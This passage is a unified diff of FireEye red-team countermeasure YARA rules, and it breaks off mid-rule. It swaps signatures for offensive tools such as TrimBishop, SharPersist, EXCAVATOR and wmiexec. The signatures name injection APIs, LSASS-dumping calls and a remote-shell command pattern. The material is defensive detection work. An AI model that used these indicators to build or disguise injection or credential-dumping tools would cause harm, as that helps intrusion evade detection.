FireEye-RT" author = "FireEye" - id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c" - date = "2020-12-08" + id = "3befb3f2-81d1-5db2-84d9-773158b9837c" + date = "2020-12-03" + date = "2020-12-03" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_4.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_2.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e4efa759d425e2f26fbc29943a30f5bd" - logic_hash = "7ef883148926d5786861e5e81b1e645aa2e3ca06bd663f2b5f32e04b5852a218" + hash = "e91670423930cbbd3dbf5eac1f1a7cb6" + logic_hash = "0467532d643cf0200c6561b0724c884230892bf59db163c311b7d4f8acbb63d6" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide + $ss1 = "\x00NtMapViewOfSection\x00" + $ss2 = "\x00NtOpenProcess\x00" + $ss3 = "\x00NtAlertResumeThread\x00" + $ss4 = "\x00LdrGetProcedureAddress\x00" + $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00" + $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00" + $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_1 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_2 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "c2834bd6-efb0-5dac-adcd-a9450090fc28" - date = "2020-11-25" - date = "2020-11-25" + id = "90ee2569-2e68-517b-b2d7-8c4015d92683" + date = "2020-12-03" + date = "2020-12-03" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_2.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e4efa759d425e2f26fbc29943a30f5bd" - logic_hash = "1c71b9641e30c9764f3503e49f8f85472d7e62384c8dd2b420c4fa2b2fccda4f" + hash = "c0598321d4ad4cf1219cc4f84bad4094" + logic_hash = "4cccfca0c06954105f762066741b6c35599a6c28df8b7c255a2659059169578f" score = 75 quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A } - $s3 = "cmd_rpc" wide - $s4 = "costura" + $ss1 = "\x00NtMapViewOfSection\x00" + $ss2 = "\x00NtOpenProcess\x00" + $ss3 = "\x00NtAlertResumeThread\x00" + $ss4 = "\x00LdrGetProcedureAddress\x00" + $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00" + $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00" + $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00" condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_2 +rule FIREEYE_RT_Loader_MSIL_Trimbishop_1 : FILE { meta: - description = "wmiexec" + description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop." author = "FireEye" - id = "f1059f66-eaff-5866-bafb-c94236cf96a0" - date = "2020-12-01" - date = "2020-12-01" + id = "4d58f0a2-bf16-584c-8e92-c8ef54427767" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Wmiexec)/production/yara/HackTool_PY_ImpacketObfuscation_2.yar#L4-L21" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_TrimBishop_1.yar#L4-L26" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f3dd8aa567a01098a8a610529d892485" - logic_hash = "ccbbe507798f16c7acf0780770fdb81b2e7dc333ab8bc51e6216816276c3f14b" + hash = "09bdbad8358b04994e2c04bb26a160ef" + logic_hash = "018e87542301db22c384fda2709e8d49711c0fa041d1ef591f98ee7a70dbb677" score = 75 quality = 50 - tags = "" - rev = 2 + tags = "FILE" + rev = 3 strings: - $s1 = "import random" - $s2 = "class WMIEXEC" nocase - $s3 = "class RemoteShell" nocase - $s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/ - $s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase + $msg = "msg" ascii wide + $msil = "_CorExeMain" ascii wide + $str1 = "RuralBishop" ascii wide + $str2 = "KnightKingside" ascii wide + $str3 = "ReadShellcode" ascii wide + $str4 = "ReverseString" ascii wide + $str5 = "DTrim" ascii wide + $str6 = "QueensGambit" ascii wide + $str7 = "Messages" ascii wide + $str8 = "NtQueueApcThread" ascii wide + $str9 = "NtAlertResumeThread" ascii wide + $str10 = "NtQueryInformationThread" ascii wide condition: - all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and #msg > 60 and all of ( $str* ) } -rule FIREEYE_RT_Trojan_Win_Generic_101 : FILE +rule FIREEYE_RT_Loader_MSIL_Ruralbishop_3 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project." author = "FireEye" - id = "0290aaea-d65b-5883-97f9-549d107e3e1f" - date = "2020-11-25" - date = "2020-11-25" + id = "55a060ef-74e2-50d9-9090-558aaa04d97d" + date = "2020-12-09" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Win_Generic_101.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_RuralBishop_3.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "2e67c62bd0307c04af469ee8dcb220f2" - logic_hash = "e530183f3cab01560b1abc91e2111e5d9e5aadc1c8134027ac07d8917f9419a0" + hash = "09bdbad8358b04994e2c04bb26a160ef" + logic_hash = "a4c55dede432c249e36e96ca09555448b0343969d389bfdb4bd459fe34e05ea1" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 3 strings: - $s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 } - $s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? } - $s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 } - $si1 = "PeekMessageA" fullword - $si2 = "PostThreadMessageA" fullword + $typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and @s0 [ 1 ] < @s1 [ 1 ] and @s1 [ 1 ] < @s2 [ 1 ] and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Trojan_Raw_Generic_4 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "9092f9bb-cab6-55c0-9452-70a6407db93a" - date = "2020-12-02" - date = "2020-12-02" + id = "1a3f4247-25f4-51ca-b881-209c0753b915" + date = "2020-12-03" + date = "2020-12-03" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Raw_Generic_4.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_1.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f41074be5b423afb02a74bc74222e35d" - logic_hash = "8ffd23631c1a9d1abe6695858ec34d61261b3b3f097be94372f3f34e46e7211e" + hash = "e91670423930cbbd3dbf5eac1f1a7cb6" + logic_hash = "f020efff58c8b7761d700c662c422a9e1ffdf8fe5f6648e421b7c257e3b8d078" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) } - $s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 } + $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 } + $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 } + $ss1 = "\x00NtMapViewOfSection\x00" + $ss2 = "\x00NtOpenProcess\x00" + $ss3 = "\x00NtAlertResumeThread\x00" + $ss4 = "\x00LdrGetProcedureAddress\x00" + $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00" condition: - uint16( 0 ) != 0x5A4D and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] ) and ( all of ( $ss* ) ) and ( all of ( $tb* ) ) } -rule FIREEYE_RT_Loader_Win_Generic_17 : FILE +rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_2 { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "wmiexec" author = "FireEye" - id = "4e5bf741-c1e3-54af-9580-02925ba6fc6a" - date = "2020-11-25" - date = "2020-11-25" + id = "f1059f66-eaff-5866-bafb-c94236cf96a0" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_17.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Wmiexec)/production/yara/HackTool_PY_ImpacketObfuscation_2.yar#L4-L21" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "562ecbba043552d59a0f23f61cea0983" - logic_hash = "5c20472c3af0c5b8c825671b12763900d6a711695ed04661b33cbf442422348d" + hash = "f3dd8aa567a01098a8a610529d892485" + logic_hash = "ccbbe507798f16c7acf0780770fdb81b2e7dc333ab8bc51e6216816276c3f14b" score = 75 - quality = 75 - tags = "FILE" - rev = 3 + quality = 50 + tags = "" + rev = 2 strings: - $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 } - $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 } - $si1 = "fread" fullword - $si2 = "fwrite" fullword + $s1 = "import random" + $s2 = "class WMIEXEC" nocase + $s3 = "class RemoteShell" nocase + $s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/ + $s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + all of them } -rule FIREEYE_RT_Loader_Win_Generic_18 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_DTRIM_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit." author = "FireEye" - id = "6f44bd64-29bd-50e2-8b61-7ba61bb1f688" - date = "2020-11-25" - date = "2020-11-25" + id = "9be695a1-6d18-5952-974c-96a30f035e7a" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_18.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DTRIM/production/yara/APT_HackTool_MSIL_DTRIM_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "c74ebb6c238bbfaefd5b32d2bf7c7fcc" - logic_hash = "28c9497f646fcf3daf7007d7afd37971dd85382062c064173f13049ad419fef1" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "357c1f76631ec9ee342995cd12369fd9ff18c541bffe6f5464b1e8db45057196" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 3 + rev = 2 strings: - $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 } - $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 } - $si1 = "fread" fullword - $si2 = "fwrite" fullword + $typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_1 : FILE +rule FIREEYE_RT_Loader_MSIL_Inmemorycompilation_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project." author = "FireEye" - id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a" + id = "80234352-a449-5292-9f0c-beb7a1d39a6c" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MEMCOMP/production/yara/Loader_MSIL_InMemoryCompilation_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "98ecf58d48a3eae43899b45cec0fc6b7" - logic_hash = "cf480026c31b522850e25ba2d7986773d9c664242a2667ecd33151621c98c91e" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "a964a186eb02a2792db01727a31ddaa2414fe9df83cda9b1c9db15d94603303a" score = 75 quality = 73 tags = "FILE" - rev = 1 + rev = 2 strings: - $typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide + $typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_2 : FILE +rule FIREEYE_RT_Loader_MSIL_Sharpy_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project." author = "FireEye" - id = "49d7891e-b97a-52a8-acfd-bbf986732d6c" + id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_2.yar#L4-L23" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPY/production/yara/Loader_MSIL_SharPy_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "98ecf58d48a3eae43899b45cec0fc6b7" - logic_hash = "57387352f8fd08e8b859dffc1164d46370f248b337526c265634160010572a00" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "0f73fab3905b4961b8dbeb120d45a34a2383ecdaae0296f38e34f8b7ab4aeee8" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 1 strings: - $a1 = "SharPersist.lib" - $a2 = "SharPersist.exe" - $b1 = "ERROR: Invalid hotkey location option given." ascii wide - $b2 = "ERROR: Invalid hotkey given." ascii wide - $b3 = "ERROR: Keepass configuration file not found." ascii wide - $b4 = "ERROR: Keepass configuration file was not found." ascii wide - $b5 = "ERROR: That value already exists in:" ascii wide - $b6 = "ERROR: Failed to delete hidden registry key." ascii wide - $pdb1 = "\\SharPersist\\" - $pdb2 = "\\SharPersist.pdb" + $typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or ( 1 of ( $a* ) and 2 of ( $b* ) ) ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_2 : FILE +rule FIREEYE_RT_Builder_MSIL_Sharpgenerator_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project." author = "FireEye" - id = "4b7640e8-5621-5cc3-8ac9-84347f23f5eb" - date = "2020-12-02" - date = "2020-12-02" + id = "ab661cba-f695-59d2-9071-9b9a90233457" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_2.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPGENERATOR/production/yara/Builder_MSIL_SharpGenerator_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4fd62068e591cbd6f413e1c2b8f75442" - logic_hash = "14263c17323cd78df10f7f101bd7a9c74f7818b34a2e42125d45205067399381" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "6dc0780e54d33df733aadc8a89077232baa63bf1cbe47c5d164c57ce3185dd71" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 1 strings: - $api1 = "PssCaptureSnapshot" fullword - $api2 = "MiniDumpWriteDump" fullword - $dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 } - $enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 } + $typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide condition: - (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_1 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_2 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "e593b589-747d-53c2-a39a-57485e4f7641" - date = "2020-11-30" - date = "2020-11-30" - modified = "2020-12-09" + id = "f2826dbb-f0a4-5361-94d1-8509c60c4131" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_2.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6a9a114928554c26675884eeb40cc01b" - logic_hash = "aa06628ddef0f95c4217b97a3476a0ee12e00d04c4827a512730598f3c80f1f6" + logic_hash = "700927768669eda6976071306e991bfaae136279f4265980521597c699fbed88" score = 75 - quality = 75 + quality = 50 tags = "FILE" - rev = 3 strings: - $api1 = "PssCaptureSnapshot" fullword - $api2 = "MiniDumpWriteDump" fullword - $dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 } - $lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 } + $ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00" + $ss2 = 